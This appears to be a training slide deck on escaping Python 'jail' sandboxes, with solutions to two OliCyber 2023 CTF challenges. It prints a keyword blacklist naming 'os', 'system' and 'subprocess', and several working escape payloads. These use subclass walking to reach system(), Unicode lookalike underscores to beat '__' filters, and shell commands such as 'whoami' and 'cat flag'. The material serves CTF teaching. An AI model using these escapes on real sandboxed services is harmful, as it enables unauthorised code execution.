# Introduction to Python Jails
Alberto Carboneri <@Alberto247>
Matteo Protopapa <@matpro>
---
## Intro
----
## What is a Python Jail?
A piece of software that:
- executes some code <!-- .element: class="fragment" data-fragment-index="1" -->
- but NOT the malicious one <!-- .element: class="fragment" data-fragment-index="2" -->
----
## What is not a Python Jail
```python
while True:
code = input('>>> ')
print(eval(code))
```
----
## Blacklist-based Jails
```python
while True:
code = input('>>> ')
if any((x in code) for x in ['import', 'exec', 'eval', 'open',
'os', 'system', 'subprocess', 'sys',
'builtins']):
print('Error: blacklisted keyword')
continue
eval(code)
```
<span>__Solution__:</span><!-- .element: class="fragment" data-fragment-index="1" -->
```python
globals()['__buil''tins__'].__dict__['ev''al']
```
<!-- .element: class="fragment" data-fragment-index="1" -->
----
## Non-Builtins Jails
```python
while True:
code = input('>>> ')
if any((x in code) for x in ['import', 'exec', ...]):
print('Error: blacklisted keyword')
continue
eval(code, {'__builtins__': None})
```
<span>__Non working solution__:</span><!-- .element: class="fragment" data-fragment-index="1" -->
```python
globals()['__buil''tins__'].__dict__['ev''al']
^^^^^^^ NameError: name 'globals' is not defined
```
<!-- .element: class="fragment" data-fragment-index="1" -->
<span>__Working solution__:</span><!-- .element: class="fragment" data-fragment-index="2" -->
```python
().__class__.__base__.__subclasses__()[137]
.__init__.__globals__['system']
```
<!-- .element: class="fragment" data-fragment-index="2" -->
---
## The double underscore
Almost every payload requires the use of `__`
So let's ban it:
```python
if("__" in code):
throw("Illegal...")
```
----
## Still pwnable?
```python
().__class__.__base__.__subclasses__()[137]
.__init__.__globals__['system']
```
<span>__Notice something here?__</span><!-- .element: class="fragment" data-fragment-index="1" -->
----
## Yep, all of these work
```python
()._︳class_︳._︳base_︳._︳subclasses_︳()[137]
._︳init_︳._︳globals_︳['system']
```
```python
()._﹍class_﹍._﹍base_﹍._﹍subclasses_﹍()[137]
._﹍init_﹍._﹍globals_﹍['system']
```
```python
()._︴class_︴._︴base_︴._︴subclasses_︴()[137]
._︴init_︴._︴globals_︴['system']
```
```python
()._﹎class_﹎._﹎base_﹎._﹎subclasses_﹎()[137]
._﹎init_﹎._﹎globals_﹎['system']
```
----
## In fact...
This is valid Python code!<!-- .element: class="fragment" data-fragment-index="1" -->
```python
_﹎𝙞𝙢𝙥𝙤𝙧𝙩_︴("os").𝖘𝕪𝖘𝖙𝖊𝕞("whoami")
```
<!-- .element: class="fragment" data-fragment-index="1" -->
---
## In practice
----
## Sandbox-v1<span>.</span>py
OliCyber<span>.</span>IT 2023 - Competizione Nazionale
https://training.olicyber.it/challenges#challenge-432

<style>
img[alt=qr] { width: 400px; }
</style>
----
## Sandbox-v1<span>.</span>py
`'flag'` is blocked, but `'FLAG'.lower()` is not
<span>__Solution__:</span><!-- .element: class="fragment" data-fragment-index="1" -->
```python
exec("IMPORT OS; OS.SYSTEM('cat FLAG')".lower())
```
<!-- .element: class="fragment" data-fragment-index="1" -->
----
## Sandbox-v2<span>.</span>py
OliCyber<span>.</span>IT 2023 - Competizione Nazionale
https://training.olicyber.it/challenges#challenge-433

<style>
img[alt=qr] { width: 400px; }
</style>
----
## Sandbox-v2<span>.</span>py
Every user defined function has a reference to the global variables of the global scope of the file
```python
In [1]: def fun():
...: pass
...:
In [2]: globals() is fun.__globals__
Out[2]: True
In [3]: fun.__globals__["__builtins__"]
Out[3]: <module 'builtins' (built-in)>
```
<!-- .element: class="fragment" data-fragment-index="1" -->
----
## Sandbox-v2<span>.</span>py
Python classes have a reference to the base class and a list of subclasses
```python
>>> ().__class__.__base__.__subclasses__()
[<class 'type'>, <class 'async_generator'>, <class 'int'>,
...
<class 'code.InteractiveInterpreter'>, <class 'ast.AST'>]
```
<!-- .element: class="fragment" data-fragment-index="1" -->
----
## Sandbox-v2<span>.</span>py
`<class 'code.InteractiveInterpreter'>` is a user defined class, so we can recover the builtins
```python
ii = ().__class__.__base__.__subclasses__()[-2]
gb = ii.__init__.__globals__
__builtins__ = [*gb.values()][7]
```
<!-- .element: class="fragment" data-fragment-index="1" -->
----
## Sandbox-v2<span>.</span>py
We can confirm that the builtins are available
```python
>>> open
<built-in function open>
>>> chr
<built-in function chr>
```
<!-- .element: class="fragment" data-fragment-index="1" -->
----
## Sandbox-v2<span>.</span>py
__Solution__:
```python
ii = ().__class__.__base__.__subclasses__()[-2]
gb = ii.__init__.__globals__
__builtins__ = [*gb.values()][7]
open(chr(102)+chr(108)+chr(97)+chr(103)).read()
```
---
# The end
{"title":"Introduction to Python Jails","slideOptions":"{\"transition\":\"slide\",\"theme\":\"simple\"}","contributors":"[{\"id\":\"1a481c45-d895-4214-adee-9d9ea2eb9cb3\",\"add\":4910,\"del\":754},{\"id\":\"f864928b-6faf-4ebc-89c9-1b6ae83e4a49\",\"add\":1099,\"del\":111}]"}